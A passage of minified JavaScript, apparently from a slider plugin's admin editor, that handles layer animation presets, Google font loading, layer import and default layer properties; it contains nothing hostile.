0!==RVS.LIB.LAYERANIMS.out[e[n].timeline.frames[l].timeline.presetgroup]?RVS.LIB.LAYERANIMS.out[e[n].timeline.frames[l].timeline.presetgroup]:RVS.LIB.LAYERANIMS.loop[e[n].timeline.frames[l].timeline.presetgroup]:o)&&null!=o.transitions&&null!=o.transitions[e[n].timeline.frames[l].timeline.preset])){var d=o.transitions[e[n].timeline.frames[l].timeline.preset];null==t&&(i=RVS.F.addLayerObj(d.type,void 0,!0).timeline.frames,(t=RVS.F.simplifyLayer(e[n]).timeline.frames).frame_0=_(jQuery.extend(!0,h({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),t.frame_0)),t.frame_1=_(jQuery.extend(!0,h({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),t.frame_1)),t.frame_999=_(jQuery.extend(!0,h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),t.frame_999)),t.loop=jQuery.extend(!0,f(),t.loop)),i=jQuery.extend(!0,i,d),"frame_1"==l?(i.frame_0=_(jQuery.extend(!0,h({alias:RVS_LANG.enterstage,opacity:0},"frame_0"),i.frame_0)),i.frame_1=_(jQuery.extend(!0,h({opacity:1,effect:"none",chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0}},"frame_1"),i.frame_1)),a=RVS.F.objChangeCompare(t.frame_0,i.frame_0),r=RVS.F.objChangeCompare(t.frame_1,i.frame_1),s=(a.s/a.a+r.s/r.a)/2):"frame_999"==l?(i.frame_999=_(jQuery.extend(!0,h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:0},"frame_999"),i.frame_999)),s=(a=RVS.F.objChangeCompare(t.frame_999,i.frame_999)).s/a.a):"frame_loop"==l&&(i.loop=jQuery.extend(!0,f(),i.loop),s=(a=RVS.F.objChangeCompare(t.frame_loop,i.frame_loop)).s/a.a),e[n].timeline.frames[l].timeline.presetBased=Math.round(100*s)}},RVS.F.updateFrameOptionsVisual=function(){for(var e in RVS.V.frameLevels.levels)if(RVS.V.frameLevels.levels.hasOwnProperty(e)){var t=RVS.V.frameLevels.levels[e];RVS.V.frameLevels[t]=void 0===RVS.V.frameLevels[t]?jQuery("#"+t+"_ts_wrapbrtn"):RVS.V.frameLevels[t],"color"===t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].bgcolor&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].color&&(!1!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].bgcolor.use||!1!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].color.use)||"sfx"===t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&""!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].sfx.effect&&"none"!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame].sfx.effect||"mask"===t&&RVS.L[RVS.selLayers[0]].timeline.clipPath.use||"color"!==t&&"sfx"!==t&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame]&&void 0!==RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame][t]&&RVS.L[RVS.selLayers[0]].timeline.frames[RVS.S.keyFrame][t].use?RVS.V.frameLevels[t][0].className="ts_wrapbrtn":RVS.V.frameLevels[t][0].className="ts_wrapbrtn notinuse"}for(var e in RVS.JHOOKS.updateFrameOptionsVisual)RVS.JHOOKS.updateFrameOptionsVisual.hasOwnProperty(e)&&RVS.JHOOKS.updateFrameOptionsVisual[e]()},RVS.F.extendLayerAnimationLists=function(e){var t=e.direction,i=e.handle;if(RVS.LIB.LAYERANIMS[t][i]=jQuery.extend(!0,{},e.preset),void 0!==RVS.LIB.LAYERANIMS.translists){var a='
    '+RVS.LIB.LAYERANIMS[t][i].group+'
    arrow_drop_down
    ',r="";for(var s in RVS.LIB.LAYERANIMS[t][i].transitions)RVS.LIB.LAYERANIMS[t][i].transitions.hasOwnProperty(s)&&(r+='
    '+RVS.LIB.LAYERANIMS[t][i].transitions[s].name+"
    ");jQuery("#lal_"+t+"_"+i).length>0?jQuery("#lal_"+t+"_"+i).find(".lainner_transitions")[0].innerHTML=jQuery("#lal_"+t+"_"+i).find(".lainner_transitions")[0].innerHTML+r:(a+=r,a+="
    ","in"===t?RVS.LIB.LAYERANIMS.translists[0].append(a):"out"===t&&RVS.LIB.LAYERANIMS.translists[999].append(a))}},RVS.F.checkUsedFonts=function(e){RVS.F.checkAvailableFontWeights(e);var t={},i=[];for(var a in RVS.L)if(RVS.L.hasOwnProperty(a)){var r=RVS.L[a];if(("text"===r.type||"button"===r.type)&&void 0!==r.idle&&void 0!==r.idle.fontFamily){var s=r.idle.fontFamily.replace(/\ /g,"_"),o=[];for(var l in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(l)){var d=r.idle.fontWeight[RVS.V.sizes[l]].v;d=r.idle.fontStyle?d+"italic":d,-1!==jQuery.inArray(d,o)||void 0!==n[s]&&-1!==jQuery.inArray(d,n[s].weights)||void 0!==t[s]&&-1!==jQuery.inArray(d,t[s].weights)||o.push(d)}o.length>0&&(void 0===t[s]?t[s]={family:s,font:r.idle.fontFamily,weights:o,italic:r.idle.fontStyle}:t[s]={family:s,font:r.idle.fontFamily,weights:RVS.F.mergeArrays(o,t[s].weights),italic:!0===t[s]||r.idle.fontStyle})}}for(var a in t)if(t.hasOwnProperty(a)){var S=RVS.F.loadSingleFont(t[a]);void 0!==S&&i.push(S)}RVS.F.do_google_font_load(i,{silent:!0})},RVS.F.preloadUsedFonts=function(){var e={},t=[];for(var i in RVS.L)if(RVS.L.hasOwnProperty(i)&&("text"===RVS.L[i].type||"button"===RVS.L[i].type)&&void 0!==RVS.L[i].idle&&void 0!==RVS.L[i].idle.fontFamily){var a=RVS.L[i].idle.fontFamily.replace(/\ /g,"_");for(var r in e[a]=void 0===e[a]?{family:a,weights:[],italic:!1}:e[a],e[a].font=RVS.L[i].idle.fontFamily,e[a].italic=!0===e[a].italic||RVS.L[i].idle.fontStyle,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(r)&&-1===e[a].weights.toString().indexOf(RVS.L[i].idle.fontWeight[RVS.V.sizes[r]].v)&&e[a].weights.push(RVS.L[i].idle.fontWeight[RVS.V.sizes[r]].v)}for(var i in e)if(e.hasOwnProperty(i)){var s=RVS.F.loadSingleFont(e[i]);void 0!==s&&t.push(s)}RVS.F.do_google_font_load(t)},RVS.F.loadSingleFont=function(e){var t=function(e){var t=!1;for(var i in RVS.LIB.FONTS)if(RVS.LIB.FONTS[i].label==e){"googlefont"==RVS.LIB.FONTS[i].type&&(t=RVS.LIB.FONTS[i]);break}return t}(e.font);if(t&&(e.weights=void 0===e.weights?[]:e.weights,e.subsets=void 0===e.subsets?[]:e.subsets,e.font=e.font.replace(/\ /g,"+"),void 0===n[e.family]||!RVS.F.matchArray(e.weights,n[e.family].weights))){n[e.family]=void 0===n[e.family]?{weights:e.weights,subsets:e.subsets}:n[e.family],n[e.family].weights=RVS.F.mergeArrays(e.weights,n[e.family].weights);var i="",a="";if(n[e.family].weights=function(e,t){var i=[];for(var a in e)e.hasOwnProperty(a)&&jQuery.inArray(e[a],t)>=0&&i.push(e[a]);return i}(n[e.family].weights,t.variants),0===n[e.family].weights.length)for(var r in t.variants)t.variants.hasOwnProperty(r)&&(r>0?a+=",":a=":",a+=t.variants[r],n[e.family].weights.push(t.variants[r]));else for(var s in n[e.family].weights)n[e.family].weights.hasOwnProperty(s)&&(s>0?a+=",":a=":",a+=n[e.family].weights[s],e.italic&&-1==a.indexOf("italic")&&-1==jQuery.inArray(n[e.family].weights[s]+"italic",n[e.family].weights)&&(a+=","+n[e.family].weights[s]+"italic"));if(void 0!==t.subsets)for(var r in t.subsets)t.subsets.hasOwnProperty(r)&&(r>0?i+=",":i=":",i+=t.subsets[r],e.subsets.push(t.subsets[r]));return e.font+a+i}},RVS.F.do_google_font_load=function(e,t,i){if(t=void 0===t?{silent:!1}:t,null!==e&&e.length>0){var a=0;for(var r in e)e.hasOwnProperty(r)&&(r>0&&" ",e[r],a++);a=1===a?a+" Font":a+" Fonts",tpWebFont.load({google:{families:e},fontactive:y,loading:function(){!0!==t.silent&&RVS.F.showWaitAMinute({fadeIn:500,text:"Please Wait
    Loading "+a+""})},active:function(){!0!==t.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500}),void 0!==i&&setTimeout(function(){RVS.DOC.trigger(i)},500)},50)},inactive:function(e){!0!==t.silent&&setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500}),void 0!==i&&setTimeout(function(){RVS.DOC.trigger(i)},500)},50)}})}},RVS.F.checkLayersRelativeAbsolute=function(e){for(var t in e)e.hasOwnProperty(t)&&null==e[t].position.position&&"row"!==e[t].type&&(e[t].position.position=-1==e[t].group.puid||"-1"==e[t].group.puid?"absolute":void 0!==e[e[t].group.puid]&&"column"===e[e[t].group.puid].type?"relative":"absolute");return e},RVS.F.importSelectedLayers=function(e,t){e=void 0===e?RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers:e;void 0!==window.copyPasteLayers&&void 0!==window.copyPasteLayers.layers&&(!0,window.backupCopyPaste=jQuery.extend(!0,{},window.copyPasteLayers.layers)),window.copyPasteLayers={amount:0,layers:{}};for(let t in RVS.LIB.OBJ.import.toImport)RVS.LIB.OBJ.import.toImport.hasOwnProperty(t)&&(window.copyPasteLayers.layers[e[RVS.LIB.OBJ.import.toImport[t]].uid]=jQuery.extend(!0,RVS.F.addLayerObj(e[RVS.LIB.OBJ.import.toImport[t]].type,void 0,!0),e[RVS.LIB.OBJ.import.toImport[t]]));"grouplayers"===RVS.LIB.OBJ.depth&&(delete window.copyPasteLayers.layers.bottom,delete window.copyPasteLayers.layers.middle,delete window.copyPasteLayers.layers.top),RVS.DOC.trigger("do_paste_layer"),setTimeout(function(){RVS.F.showWaitAMinute({fadeOut:500})},100),!0!==t&&("layers"===RVS.LIB.OBJ.depth&&(jQuery("#rb_modal_underlay").appendTo("#slider_settings"),RVS.F.RSDialog.close()),RVS.F.closeObjectLibrary(),RVS.F.checkUsedFonts()),RVS.S.ignoreCopyPrefix=!1},RVS.F.getUniqueid=function(){for(;jQuery.inArray(RVS.S.uniqueId,RVS.S.uniqueIds)>=0;)RVS.S.uniqueId++;return RVS.S.uniqueId},RVS.F.addLayerObj=function(e,t,i,a,r,s){if(void 0===RVS.ENV.img_ph_url&&(RVS.ENV.video_ph_url=RVS.ENV.img_ph_url=RVS.ENV.plugin_url+"admin/assets/images/transparent_placeholder.png"),"object"==typeof e&&(e=(t=e).type),void 0!==t&&void 0!==t.uid&&jQuery.inArray(t.uid,["top","bottom","middle","zone"])>=0)return t;if(jQuery.inArray(e,["top","bottom","middle","zone"])>=0)return t;if("boxshadow"!==(t=void 0===t?{}:t).type&&"textshadow"!==t.type){var o={};switch(o.addOns=t.addOns||{},o.type=g(t.type,e),o.subtype=g(t.subtype,""),o.subsubtype=g(t.subsubtype,""),o.linebreak=g(t.linebreak,!1),o.text="text"!==e&&"button"!==e||"forms"===t.subtype?"":g(t.text,"New Layer"),o.placeholder="text"===e||"button"===e?g(t.placeholder,""):"",o.alias=RVS.F.firstCharUppercase(g(t.alias,"New Layer")),!0===r||i||(o.uid=g(t.uid,RVS.F.getUniqueid())),o.version=RVS.ENV.revision,o.htmltag=g(t.htmltag,"div"),o.customCSS=g(t.customCSS,""),o.customHoverCSS=g(t.customHoverCSS,""),o.layerLibSrc=g(t.layerLibSrc,""),o.type){case"text":case"button":case"image":o.media=g(t.media,{imageUrl:RVS.ENV.img_ph_url,imageId:"",imageFromStream:!1}),o.media.loaded=!1;break;case"audio":case"video":o.media=g(t.media,{mediaType:"audio"===o.type?"audio":i?"":"html5",audioUrl:"",audioTitle:"",posterUrl:RVS.ENV.video_ph_url,posterId:"",fitCover:!0,posterFromStream:!1,thumbs:{veryBig:{width:640,height:480,url:RVS.ENV.video_ph_url},big:{width:640,height:480,url:RVS.ENV.video_ph_url},large:{width:640,height:360,url:RVS.ENV.video_ph_url},medium:{width:320,height:240,url:RVS.ENV.video_ph_url},small:{width:200,height:150,url:RVS.ENV.video_ph_url}},nointeraction:!1,descSmall:"",description:"",link:"",mp4Url:"",ogvUrl:"",webmUrl:"",allowFullscreen:!0,args:"",author:"",autoPlay:"true",controls:!1,cover:!1,disableOnMobile:!1,dotted:"none",dottedSize:1,dottedColorA:"transparent",dottedColorB:"#000000",startAt:"00:00",endAt:"00:00",forceRewind:!0,fullWidth:!1,id:"",videoFromStream:!1,largeControls:!0,leaveOnPause:!0,mute:!0,nextSlideAtEnd:!0,preload:"auto",preloadWait:"0",ratio:"16:9",posterOnPause:!1,posterOnMobile:!1,stopAllVideo:!0,playInline:!0,hideAudio:!0,speed:1,loop:!0,pausetimer:!1,pauseOnSlideChange:!1,volume:"100"}),void 0!==o&&void 0!==o.media&&(o.media.dotted.indexOf("white")>0&&(o.media.dottedColorB="rgba(255,255,255,255)"),o.media.dotted.indexOf("twoxtwo")>=0?o.media.dotted="1":o.media.dotted.indexOf("threexthree")>=0&&(o.media.dotted="2")),void 0!==o.media&&"video"===o.media.type&&void 0===o.media.allowFullscreen&&!0!==i&&(o.media.allowFullscreen=!0),void 0!==o.media&&"streamyoutube"===o.media.mediaType&&(o.media.mediaType="youtube",o.media.videoFromStream=!0),void 0!==o.media&&"streamvimeo"===o.media.mediaType&&(o.media.mediaType="vimeo",o.media.videoFromStream=!0),o.media.mediaType=i||""!==o.media.mediaType&&void 0!==o.media.mediaType?i?"alwayswrite":o.media.mediaType:"html5",o.media.loop=!0===o.media.loop||void 0!==t&&void 0!==t.media&&("loopandnoslidestop"===t.media.loop||"loop"===t.media.loop||!0===t.media.loop||"true"===t.media.loop),o.media.pausetimer=void 0!==t&&void 0!==t.media&&(!0===t.media.pausetimer||!1!==t.media.pausetimer&&"loopandnoslidestop"!==t.media.loop),!0===o.media.loop&&!0===o.media.nextSlideAtEnd&&(o.media.loop=!1),i&&void 0!==o.media&&(o.media.loop=!0,o.media.pausetimer=0),i&&(o.media.loop=void 0);break;case"svg":case"object":o.svg=g(t.svg,{source:"",renderedData:""})}void 0!==o.media&&void 0!==o.media.lastLibrary&&(o.media.imageLib=o.media.lastLibrary,delete o.medialastLibrary),o.toggle=g(t.toggle,{set:!1,text:"",inverse:!1,useHover:!1});var n=!0===i||!0===a?"auto":"audio"===o.type?"54":"image"!==o.type&&"shape"!==o.type&&"video"!==o.type&&"group"!==o.type?"auto":"video"!==o.type?"300px":"320px",l=!0===i||!0===a?"auto":"audio"===o.type?"54":"image"!==o.type&&"shape"!==o.type&&"video"!==o.type&&"group"!==o.type?"auto":"180px",d=!0===i?"auto":"svg"===o.type||"image"===o.type||"video"===o.type,S=!0===i||!0===a?"auto":"image"!==o.type&&"shape"!==o.type&&"video"!==o.type&&"group"!==o.type?"none":"video"!==o.type?300/180:320/180;if(o.size=g(t.size,{width:RVS.F.cToResp({default:n}),height:RVS.F.cToResp({default:l}),maxWidth:RVS.F.cToResp({default:"none"}),maxHeight:RVS.F.cToResp({default:"none"}),minWidth:RVS.F.cToResp({default:"none"}),minHeight:RVS.F.cToResp({default:"none"}),originalWidth:0,originalHeight:0,aspectRatio:RVS.F.cToResp({default:S}),covermode:"custom",scaleProportional:d}),void 0!==o.size.height.d&&null===o.size.height.d.v&&(o.size.height.d.v="auto"),"svg"===o.type&&(o.size.scaleProportional=!0),o.size.originalWidth=0===o.size.originalWidth||void 0===o.size.originalWidth?o.size.width.d.v:o.size.originalWidth,o.size.originalHeight=0===o.size.originalHeight||void 0===o.size.originalHeight?o.size.height.d.v:o.size.originalHeight,o.position=g(t.position,{x:i||a?RVS.F.cToResp({default:0,unit:"px"}):RVS.F.cToResp({default:50+RVS.S.rb_ScrollX,unit:"px"}),y:i||a?RVS.F.cToResp({default:0,unit:"px"}):RVS.F.cToResp({default:50+RVS.S.rb_ScrollY,unit:"px"}),horizontal:RVS.F.cToResp({default:"left"}),vertical:RVS.F.cToResp({default:"top"}),position:i?"":"absolute",staticZ:"default"}),void 0===o.position||i||(o.position.staticZ=void 0===o.position.staticZ?"default":o.position.staticZ),void 0!==t.position&&void 0!==t.position.zIndex?o.position.zIndex=t.position.zIndex:o.position.zIndex=function(){var e=5;for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&parseInt(RVS.L[t].position.zIndex,0)>=e&&(e=parseInt(RVS.L[t].position.zIndex,0)+1);return e}(),i&&(o.position.zIndex="nA"),o.attributes=g(t.attributes,{alt:"",altOption:"media_library",id:"",classes:"",rel:"",tabIndex:0,title:"",wrapperClasses:"",wrapperId:""}),o.behavior=g(t.behavior,{autoResponsive:"row"!==o.type&&"column"!==o.type&&(!(!i&&!a)||RVS.SLIDER.settings.def.autoResponsive),intelligentInherit:"row"!==o.type&&"column"!==o.type&&(!(!i&&!a)||RVS.SLIDER.settings.def.intelligentInherit),responsiveChilds:!(!i&&!a)||RVS.SLIDER.settings.def.responsiveChilds,baseAlign:"grid",responsiveOffset:!(!i&&!a)||RVS.SLIDER.settings.def.responsiveOffset,lazyLoad:"auto",imageSourceType:"full",streamSourceType:"full"}),o.group=g(t.group,{puid:-1,groupOrder:i?99999:o.position.zIndex,columnbreakat:"tablet",columnSize:"1/3"}),o.position.position=i?"":void 0!==o.group&&-1==o.group.puid?"absolute":o.position.position,"row"===o.type&&-1===o.group.puid&&(o.group.puid="top"),_opacity="group"!==o.type&&"column"!==o.type&&"row"!==o.type||i||a?0:1,o.timeline=g(t.timeline,{scrollBased:"default",forcePrepare:!1,scrollBasedOffset:0,filtersOnMask:!1,frameToIdle:"frame_1",frames:{frame_0:h({alias:RVS_LANG.enterstage,opacity:_opacity},"frame_0"),frame_1:h({alias:RVS_LANG.onstage,opacity:1,chars:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1},words:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1},lines:{x:0,y:0,z:0,opacity:1,rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,blur:0,grayscale:0,brightness:100,fuse:!1}},"frame_1"),frame_999:h({endWithSlide:!0,alias:RVS_LANG.leavestage,opacity:i||a?"inherit":0},"frame_999")},clipPath:{use:!1,type:"rectangle",origin:"l"},static:{start:1,end:"last"},loop:f(),tloop:{use:!1,from:"",to:"",repeat:-1,keep:!0,children:!0}}),o.timeline.tloop=void 0===o.timeline.tloop?{use:!1,from:"",to:"",repeat:-1}:o.timeline.tloop,o.timeline.scrollBased=void 0===o.timeline.scrollBased?"default":o.timeline.scrollBased,o.timeline.scrollBasedOffset=void 0===o.timeline.scrollBasedOffset?0:o.timeline.scrollBasedOffset,o.timeline.frames.frame_0.alias=void 0===o.timeline.frames.frame_0.alias?RVS_LANG.enterstage:o.timeline.frames.frame_0.alias,o.timeline.frames.frame_1.alias=void 0===o.timeline.frames.frame_1.alias?RVS_LANG.onstage:o.timeline.frames.frame_1.alias,o.timeline.frames.frame_999.alias=void 0===o.timeline.frames.frame_999.alias?RVS_LANG.leavestage:o.timeline.frames.frame_999.alias,void 0!==s)for(var c in s)s.hasOwnProperty(c)&&void 0===o.timeline.frames[s[c].id]&&(o.timeline.frames[s[c].id]=h({alias:RVS_LANG.onstage},s[c]));for(var c in o.timeline.frames)o.timeline.frames.hasOwnProperty(c)&&("frame_0"!==c&&"frame_1"!==c&&"frame_999"!==c&&(o.timeline.frames[c]=jQuery.extend(!0,h({alias:o.timeline.frames[c]},c),o.timeline.frames[c])),o.timeline.frames[c]=_(o.timeline.frames[c]),o.timeline.frames[c].timeline.start<0&&(o.timeline.frames[c].timeline.start=0),o.timeline.frames[c].timeline.startRelative<0&&(o.timeline.frames[c].timeline.startRelative=0));for(var c in o.effects=g(t.effects,{parallax:"-",pxmask:!1,attachToBg:!1,effect:"default"}),o.idle=g(t.idle,{style:"",color:RVS.F.cToResp({default:"#ffffff"}),margin:RVS.F.cToResp({default:[0,0,0,0]}),marginLock:!1,paddingLock:!1,borderWidthLock:!1,borderRadiusLock:!1,padding:RVS.F.cToResp({default:"column"===o.type?[10,10,10,10]:"row"===o.type?[10,10,10,10]:[0,0,0,0]}),autolinebreak:!0,float:RVS.F.cToResp({default:"none"}),clear:RVS.F.cToResp({default:"none"}),display:"block",fontFamily:"Roboto",fontStyle:!1,fontSize:RVS.F.cToResp({default:"20"}),fontWeight:RVS.F.cToResp({default:"400"}),letterSpacing:RVS.F.cToResp({default:"0"}),lineHeight:RVS.F.cToResp({default:"25"}),overflow:"visible",textAlign:RVS.F.cToResp({default:"left"}),verticalAlign:"top",cursor:"auto",backgroundColor:"shape"!==o.type||i||a?"transparent":"rgba(0,0,0,0.5)",backgroundPosition:"center center",backgroundRepeat:"no-repeat",backgroundSize:"cover",backgroundSizePerc:"100",backgroundSizePix:"100",backgroundImage:"",backgroundImageId:"",bgFromStream:!1,borderColor:"transparent",borderRadius:{v:[0,0,0,0]},borderStyle:RVS.F.cToResp({default:"none"}),borderWidth:[0,0,0,0],rotationX:0,rotationY:0,rotationZ:0,opacity:1,textDecoration:"none",textTransform:"none",filtersIOSFix:"d",boxShadow:{inuse:!1,container:"content",hoffset:RVS.F.cToResp({default:0,val:0}),voffset:RVS.F.cToResp({default:0,val:0}),blur:RVS.F.cToResp({default:0,val:0}),spread:RVS.F.cToResp({default:0,val:0}),color:"rgba(0,0,0,0.25)"},textShadow:{inuse:!1,hoffset:RVS.F.cToResp({default:0,val:0}),voffset:RVS.F.cToResp({default:0,val:0}),blur:RVS.F.cToResp({default:0,val:0}),color:"rgba(0,0,0,0.25)"},textStroke:{inuse:!1,width:RVS.F.cToResp({default:0,val:1}),color:"rgba(0,0,0,0.25)"},filter:{blendMode:"normal",showInEditor:!0},spikeUse:!1,spikeLeft:"none",spikeLeftWidth:10,spikeRight:"none",spikeRightWidth:10,cornerLeft:"none",cornerRight:"none",selectable:"default",whiteSpace:RVS.F.cToResp({default:"row"===o.type||"column"===o.type?"normal":!0!==i&&1!=a?"full":"nowrap"}),svg:{originalColor:!1,color:RVS.F.cToResp({default:"#ffffff"}),strokeColor:"transparent",strokeDashArray:0,strokeDashOffset:0,strokeWidth:0}}),"object"!=typeof o.idle.borderStyle&&(o.idle.borderStyle=RVS.F.cToResp({default:o.idle.borderStyle})),void 0===o.idle.textStroke||"string"!=typeof o.idle.textStroke.width&&"number"!=typeof o.idle.textStroke.width||(o.idle.textStroke.width=RVS.F.cToResp({default:0,val:o.idle.textStroke.width})),o.idle.fontFamily=void 0===o.idle.fontFamily||""===o.idle.fontFamily||o.idle.fontFamily.toLowerCase()!==o.idle.fontFamily?RVS.F.compareGoogleFontName(o.idle.fontFamily,!0):RVS.F.compareGoogleFontName(o.idle.fontFamily),o.idle.fontFamily=void 0===o.idle.fontFamily?"Roboto":o.idle.fontFamily,o.idle.fontStyle="normal"!==o.idle.fontStyle&&!1!==o.idle.fontStyle,RVS.V.sizes)for(var p=0;p<4;p++)RVS.V.sizes.hasOwnProperty(c)&&(o.idle.margin[RVS.V.sizes[c]].v[p]=parseInt(o.idle.margin[RVS.V.sizes[c]].v[p],0)||0,o.idle.padding[RVS.V.sizes[c]].v[p]=parseInt(o.idle.padding[RVS.V.sizes[c]].v[p],0)||0);for(var c in o.hover=g(t.hover,{usehover:!1,usehovermask:!1,color:"#ffffff",opacity:1,backgroundColor:"transparent",gradientStyle:"fading",borderColor:"transparent",borderRadius:{v:[0,0,0,0],u:"%"},borderStyle:"none",borderWidth:[0,0,0,0],transformPerspective:RVS.SLIDER.settings.general.perspective,originX:"50%",originY:"50%",originZ:"50%",rotationZ:0,rotationX:0,rotationY:0,scaleX:1,scaleY:1,skewX:0,skewY:0,textDecoration:"none",x:0,y:0,z:0,speed:300,ease:"power3.inOut",zIndex:"auto",pointerEvents:"auto",filter:{grayscale:0,brightness:100,blur:0},svg:{color:"#ffffff",strokeColor:"transparent",strokeDashArray:0,strokeDashOffset:0,strokeWidth:0}}),o.actions=g(t.actions,{triggerMemory:"reset",action:[]}),o.actions.inactive_actions=[],o.visibility=g(t.visibility,{visible:!0,locked:!1,d:!0,m:!0,n:!0,t:!0,hideunder:!1,onlyOnSlideHover:!1,publish:!0,alwaysOnCarousel:!1}),o.runtime=g(t.runtime,{internalClass:"",isDemo:!1,unavailable:!1}),void 0!==t.formAttribute&&(o.formAttribute=g(t.formAttribute)),!0!==r&&RVS.S.uniqueIds.push(o.uid),RVS.LIB.ADDONS)RVS.LIB.ADDONS.hasOwnProperty(c)&&(o.addOns[c]=void 0===o.addOns[c]?{enable:!1}:o.addOns[c]);if(void 0!==o.customCSS&&o.customCSS.length>0){o.customCSS=o.customCSS.replace(/\s\s+/g," ");var u=o.customCSS.split(";"),R="";for(var c in u)if(u.hasOwnProperty(c)){var V=u[c].split(":"),m=V[0].replace(/\s/g,"");if(""!==RVS.F.trim(m))switch(m){case"letter-spacing":o.idle.letterSpacing=RVS.F.cToResp({default:V[1]});break;case"text-align":o.idle.textAlign=RVS.F.cToResp({default:V[1]});break;case"text-shadow":-1===V[1].indexOf("none")&&(R+=u[c]);break;default:R+=u[c]+";"}}o.customCSS=R}var y=[];if(void 0!==o.actions){for(var p in o.actions.action)null==o.actions.action[p].migrateMute&&null==o.actions.action[p].rsColorPicker&&null==o.actions.action[p].get&&y.push(o.actions.action[p]);o.actions.action=y}return o}},RVS.F.simplifyLayer=function(e,t){return delete window.follow,"zone"===e.type?jQuery.extend(!0,{},e):jQuery.extend(!0,{},RVS.F.simplifyObject(RVS.F.addLayerObj(e.type,void 0,!0,void 0,void 0,void 0!==e&&void 0!==e.timeline&&void 0!==e.timeline.frameOrder?e.timeline.frameOrder:void 0),jQuery.extend(!0,{},e),t))},RVS.F.simplifyAllLayer=function(e,t){var i={};for(var a in e)e.hasOwnProperty(a)&&(i[a]=RVS.F.simplifyLayer(e[a],t),i[a].type=e[a].type);return i},RVS.F.expandAllLayer=function(e){var t={};for(var i in e)e.hasOwnProperty(i)&&(t[i]=jQuery.extend(!0,RVS.F.addLayerObj(e[i].type,void 0,!0),e[i]));return t},RVS.F.initAddonMigration=function(e){}}(),RVS.LIB.ACTION_WITH_TRGT=[],RVS.LIB.ACTIONTYPES={},function(){var e=["X","M","N"];function t(e,t,i,a){return e&&t==="static-"+i||e&&RVS.SLIDER.slideIDs[a]===RVS.S.slideId&&parseInt(t,0)===parseInt(i,0)||!e&&parseInt(t,0)===parseInt(i,0)}function i(e,t){return"start_in"===e.action&&("any"===t||"frame_1"===t)||"start_out"===e.action&&("any"===t||"frame_999"===t)||"toggle_layer"===e.action&&("any"===t||"frame_1"===t||"frame_999"===t)||"toggle_frames"===e.action&&("any"===t||e.gotoframeM===t||e.gotoframeN===t)||"start_frame"===e.action&&("any"===t||e.gotoframe===t)}function a(e,t,i){return""}function r(e,t,i,s){var o,n="",l=i?RVS.SLIDER[RVS.SLIDER.staticSlideId].layers:RVS.L;if(s)for(o in l)!l.hasOwnProperty(o)||"video"!==l[o].type&&"audio"!==l[o].type||(n+=a(l[o],t,i));else for(o in l)l.hasOwnProperty(o)&&"zone"!=l[o].type&&(""+l[o].group.puid==""+e||"-1"==e&&"row"==l[o].type)&&("row"==l[o].type||"group"==l[o].type||"column"==l[o].type?(n+=a(l[o],t,i),n+=r(""+l[o].uid,10+t,i,s)):n+=a(l[o],t,i));return n}function s(e){var t=-1;return-1!=jQuery.inArray(e.action,RVS.LIB.ACTION_WITH_TRGT)&&void 0!==e.layer_target&&(t=parseInt(e.layer_target.toString().replace("static-",""),0)),{slideid:void 0!==e&&void 0!==e.layer_target&&e.layer_target.toString().indexOf("static")>=0?RVS.SLIDER.staticSlideId:RVS.S.slideId,targetid:-1==t||isNaN(t)?-1:t}}function o(e){var t=RVS.L[RVS.selLayers[0]].actions.action.length,i=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].actions);i.action.push({action:e,tooltip_event:"click",link_help_in:"keep",link_open_in:"_self",link_follow:"follow"}),RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[0]+".actions",val:i}),RVS.S.actionIdx=t,RVS.F.buildActionList(),RVS.F.selectLayerAction(),RVS.F.refreshFrameLists(),RVS.F.refreshModalSlides(),RVS.DOC.trigger("layer_action_selected")}RVS.F.initLayerActions=function(){RVS.F.createActionGroup({icon:"link",id:"layeraction_group_link",actions:[{val:"menu",inputs:"#la_settings_link_menu, 